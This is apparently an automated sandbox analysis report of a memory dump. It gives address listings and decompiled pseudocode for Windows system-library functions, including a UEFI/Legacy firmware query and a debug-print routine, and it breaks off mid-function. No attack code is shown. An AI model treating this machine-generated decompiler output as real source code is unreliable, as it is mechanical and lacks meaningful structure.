0x046fe6c7
0x046fe6d7
0x046fe6d9
0x046fe6db
0x046fe6de
0x046fe6e3
0x046fe6f3
0x046fe6fc
0x046fe700
0x046fe700
0x046fe704
0x046fe70a
0x046fe70a
0x046fe713
0x046fe716
0x046fe719
0x046fe720
0x046fe761
0x046fe76b
0x046fe774
0x046fe77a
0x046fe77a
0x046fe78a
0x046fe791
0x046fe799
0x046fe79b
0x046fe79f
0x046fe7aa
0x046fe7c0
0x046fe7ac
0x046fe7b2
0x046fe7b9
0x046fe7b9
0x046fe7c7
0x046fe806
0x00000000
0x046fe7c9
0x046fe7d1
0x046fe7d8
0x00000000
0x046fe7d8
0x00000000
0x00000000
0x046fe722
0x046fe72e
0x046fe748
0x046fe74c
0x046fe754
0x046fe756
0x046fe75c
0x046fe75c
0x00000000
0x046fe75c
0x046fe758
0x046fe758
0x00000000
0x046fe758
0x046fe750
0x00000000
0x00000000
0x046fe752
0x00000000
0x046fe752
0x046fe730
0x046fe735
0x046fe73d
0x046fe73f
0x00000000
0x00000000
0x046fe741
0x046fe741
0x00000000
0x046fe741
0x046fe739
0x00000000
0x00000000
0x046fe73b
0x00000000
0x046fe73b
0x046fe722
0x046fe720
0x046fe6b0
0x046fe618
0x00000000
0x046fe618

Strings

`, xrefs: 046FE5D7
`, xrefs: 046FE670

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: c2b55868647e60678f836729536bc55bb8605e0bef1c110ce99e587a209acb8a
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 3A917A312047419FE724CE65CC41B1BBBE6AF94714F14892DFAA9CA2A0E776F904CB52

Uniqueness

Uniqueness Score: -1.00%

Function 046B51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E046B51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x47105f0);
				E0468D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E0464EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E046B53CA(0);
						return E0468D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E0467F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E04653690(1, _t117, 0x4611810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E0467AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L04654620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E0467AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E046B500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E04679860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x046b51be
0x046b51c3
0x046b51c8
0x046b51cd
0x046b51d0
0x046b51d3
0x046b51d8
0x046b51db
0x046b51de
0x046b51e0
0x046b51e3
0x046b51e6
0x046b51e8
0x046b5342
0x046b5351
0x046b5356
0x046b535a
0x046b5360
0x046b5363
0x046b5366
0x046b5369
0x046b5369
0x046b536b
0x046b536b
0x046b5370
0x046b53a3
0x046b53a4
0x046b53a6
0x046b53ab
0x046b53ab
0x046b53ae
0x046b53ae
0x046b53b5
0x046b53bf
0x046b53bf
0x046b5375
0x046b5396
0x046b53a0
0x046b53a0
0x00000000
0x046b5396
0x046b5377
0x046b5379
0x046b537f
0x046b538c
0x046b5390
0x00000000
0x046b5390
0x046b51ee
0x046b51f1
0x046b5301
0x046b5310
0x046b5315
0x046b5318
0x046b531b
0x046b5320
0x046b532e
0x046b5331
0x00000000
0x046b5331
0x046b5328
0x046b5329
0x00000000
0x046b5329
0x046b51fa
0x046b5235
0x046b5236
0x046b5239
0x046b523f
0x046b5240
0x046b5241
0x046b5242
0x046b5246
0x046b5247
0x046b524e
0x046b5251
0x046b5267
0x046b5269
0x046b526e
0x046b527d
0x046b527e
0x046b5281
0x046b5282
0x046b5287
0x046b5288
0x046b528a
0x046b528f
0x046b5294
0x00000000
0x00000000
0x046b529a
0x046b529c
0x046b529e
0x046b529e
0x046b52a4
0x046b52b0
0x00000000
0x00000000
0x046b52ba
0x046b52bc
0x046b52bc
0x046b52d4
0x046b52d9
0x046b52dc
0x046b52e1
0x00000000
0x00000000
0x046b52e7
0x046b52f4
0x00000000
0x046b52f4
0x046b5270
0x00000000
0x046b5270
0x046b51fc
0x046b51fd
0x046b5202
0x046b5203
0x046b5205
0x046b520a
0x046b520f
0x00000000
0x00000000
0x046b521b
0x046b5226
0x046b522b
0x046b521d
0x046b521d
0x046b5222
0x046b5222
0x046b522d
0x00000000

Strings

UEFI, xrefs: 046B521D
Legacy, xrefs: 046B5226

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 183c3a131d88680ddf3aec26783325f4a9138a3134ce2b54f923f5e9ba775e44
Instruction ID: 55078aa767f19ee24ad727b818d4fa8ec2af93a726094bc0a0895bbc366752de
Opcode Fuzzy Hash: 183c3a131d88680ddf3aec26783325f4a9138a3134ce2b54f923f5e9ba775e44
Instruction Fuzzy Hash: 2C514E71A04708AFDB24DFA8C940AEDB7F4FB48708F54442DE59AEB351F671A981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0463B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0463B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x470f7a8);
				E0468D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E0468D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E0467D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E0467F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L0468DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E0467B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E0467B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E0467E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E0467A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x0463b171
0x0463b171
0x0463b171
0x0463b171
0x0463b171
0x0463b176
0x0463b17b
0x0463b180
0x0463b186
0x0463b18f
0x0463b198
0x0463b1a4
0x0463b1aa
0x04694802
0x04694802
0x04694805
0x0469480c
0x0469480e
0x0463b1d1
0x0463b1d3
0x0463b1de
0x0463b1de
0x04694817
0x0469481e
0x04694820
0x04694822
0x04694822
0x04694824
0x04694824
0x0469482a
0x00000000
0x00000000
0x04694835
0x0469483a
0x0469483d
0x0469483f
0x04694842
0x04694842
0x04694842
0x04694846
0x0469484c
0x0469484e
0x04694851
0x04694851
0x04694853
0x04694854
0x04694854
0x04694858
0x0469485a
0x0469485a
0x0469485d
0x0469485f
0x04694861
0x04694861
0x04694866
0x0469486b
0x0469486e
0x04694871
0x04694876
0x04694876
0x04694878
0x0469487b
0x04694884
0x04694884
0x00000000
0x0469487d
0x0469487d
0x04694882
0x04694889
0x04694889
0x0469488f
0x04694891
0x046948e0
0x046948e2
0x046948e4
0x046948e4
0x046948e7
0x046948e7
0x046948ed
0x046948f4
0x046948f6
0x04694951
0x04694951
0x04694953
0x04694953
0x04694956
0x04694956
0x04694958
0x04694959
0x04694959
0x0469495d
0x0469495d
0x0469495f
0x0469495f
0x04694965
0x04694969
0x046949ba
0x046949ba
0x046949c1
0x046949c5
0x046949cc
0x046949d4
0x046949d7
0x046949da
0x046949e4
0x046949e5
0x046949f3
0x04694a02
0x00000000
0x04694a02
0x04694972
0x04694974
0x00000000
0x00000000
0x04694976
0x04694979
0x04694982
0x04694983
0x04694984
0x0469498b
0x0469498d
0x04694991
0x04694993
0x04694999
0x0469499d
0x046949a2
0x046949a2
0x046949a2
0x04694999
0x046949ac
0x00000000
0x046949b3
0x046948f8
0x046948fe
0x00000000
0x00000000
0x00000000
0x046948fe
0x04694895
0x0469489c
0x046948ad
0x046948b2
0x046948b5
0x046948b7
0x046948ba
0x046948bc
0x046948c6
0x046948c6
0x046948cb
0x046948d1
0x046948d4
0x046948d8
0x046948d8
0x00000000
0x046948d8
0x046948be
0x046948c0
0x00000000
0x00000000
0x046948c2
0x00000000
0x00000000
0x00000000
0x046948c4
0x00000000
0x04694882
0x0469487b
0x04694904
0x04694906
0x00000000
0x00000000
0x04694908
0x0469490e
0x00000000
0x00000000
0x04694910
0x04694917
0x04694917
0x00000000
0x04694917
0x0463b1ba
0x046947f9
0x046947fc
0x00000000
0x00000000
0x00000000
0x046947fc
0x0463b1c0
0x0463b1c0
0x0463b1c3
0x0463b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 046948AD

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 2235e2fb2974fcce69bf5f8ca4f4917c1854027d5c20d6dc20685e829a92c073
Instruction ID: af544acab4ec4abd24278b34523c9e732596b5277742a1ed4ca7a40babf9e0e5
Opcode Fuzzy Hash: 2235e2fb2974fcce69bf5f8ca4f4917c1854027d5c20d6dc20685e829a92c073
Instruction Fuzzy Hash: EE51B071D042598EEF30CF648944BBEBBF4AF00714F1042ADD859AB381EBB0AD42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0465B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0465B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x472d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E04657D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E04708CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E04679E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E0467B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E0467CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E04657D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E04708F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E0467AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x4728628; // 0x0
								_v68 = _t77;
								_t78 =  *0x472862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x4728628; // 0x0
							_t116 =  *0x472862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x0465b94c
0x0465b956
0x0465b95c
0x0465b95e
0x0465b964
0x0465b969
0x0465b96d
0x0465b96d
0x0465b970
0x0465b974
0x0465b97a
0x0465badf
0x0465badf
0x0465bae2
0x0465bae4
0x0465bae6
0x0465baf0
0x046a2cb8
0x0465baf6
0x0465baf6
0x0465baf6
0x0465bafd
0x0465bb1f
0x0465bb1f
0x0465baff
0x0465bb00
0x0465bb00
0x0465bb03
0x0465bb03
0x0465bacb
0x0465bacf
0x0465bad0
0x0465bad1
0x0465badc
0x0465badc
0x0465b980
0x0465b980
0x0465b988
0x0465b98b
0x0465b98d
0x0465b990
0x0465b993
0x0465b999
0x0465b99b
0x0465b9a1
0x0465b9a5
0x0465b9aa
0x0465b9b0
0x0465b9bb
0x0465b9c0
0x0465b9c3
0x0465b9ca
0x0465b9cc
0x0465b9cf
0x0465b9d3
0x0465b9d7
0x0465ba94
0x0465ba94
0x0465ba98
0x0465baa3
0x046a2ccb
0x0465baa9
0x0465baa9
0x0465baa9
0x0465bab1
0x046a2cd5
0x046a2cdd
0x046a2cdd
0x0465babb
0x0465babc
0x0465bac2
0x0465bac3
0x0465bac3
0x0465bac6
0x00000000
0x0465b9dd
0x0465b9dd
0x0465b9e7
0x0465b9e7
0x0465b9ec
0x0465b9ec
0x0465b9f1
0x0465b9f5
0x0465b9fa
0x0465ba00
0x0465ba0c
0x0465ba10
0x0465ba10
0x0465ba12
0x0465ba18
0x00000000
0x00000000
0x0465bb26
0x0465bb26
0x0465ba1e
0x0465ba1e
0x0465ba23
0x0465ba25
0x0465ba2c
0x0465ba30
0x0465ba35
0x0465ba35
0x0465ba41
0x0465ba46
0x0465ba4c
0x0465ba50
0x0465ba54
0x0465ba6a
0x0465ba6e
0x0465ba70
0x0465ba74
0x0465ba78
0x0465ba7a
0x0465ba7c
0x0465ba8e
0x0465ba90
0x0465ba92
0x0465bb14
0x0465bb14
0x0465bb16
0x0465bb16
0x00000000
0x0465ba7c
0x0465bb0a
0x0465bb0d
0x00000000
0x00000000
0x00000000
0x0465bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0465B9A5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: ead2579859edef95b20e235ad80b182519fd215b17197dd28f4300332a8f4e79
Instruction ID: 67e5f5d63e5f48da178f141adb36121e84e8d431f04dee9bed1171c29dc461ad
Opcode Fuzzy Hash: ead2579859edef95b20e235ad80b182519fd215b17197dd28f4300332a8f4e79
Instruction Fuzzy Hash: AB514671A08741CFD720DF28C48092ABBE5FB88A04F15896EF98587365EB71F944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04662581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E04662581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				void* _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t238;
				signed int _t242;
				signed int _t244;
				signed int _t245;
				void* _t246;
				signed int _t250;
				signed int _t252;
				intOrPtr _t254;
				signed int _t257;
				signed int _t264;
				signed int _t267;
				signed int _t275;
				intOrPtr _t281;
				signed int _t283;
				signed int _t285;
				void* _t287;
				signed int _t288;
				unsigned int _t291;
				signed int _t295;
				signed int _t297;
				signed int _t301;
				intOrPtr _t313;
				signed int _t322;
				signed int _t324;
				signed int _t325;
				signed int _t329;
				signed int _t330;
				signed int _t333;
				signed int _t335;
				signed int _t338;
				signed int _t339;
				void* _t342;
				void* _t343;

				_t335 = _t338;
				_t339 = _t338 - 0x4c;
				_v8 =  *0x472d360 ^ _t335;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t329 = 0x472b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t291 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
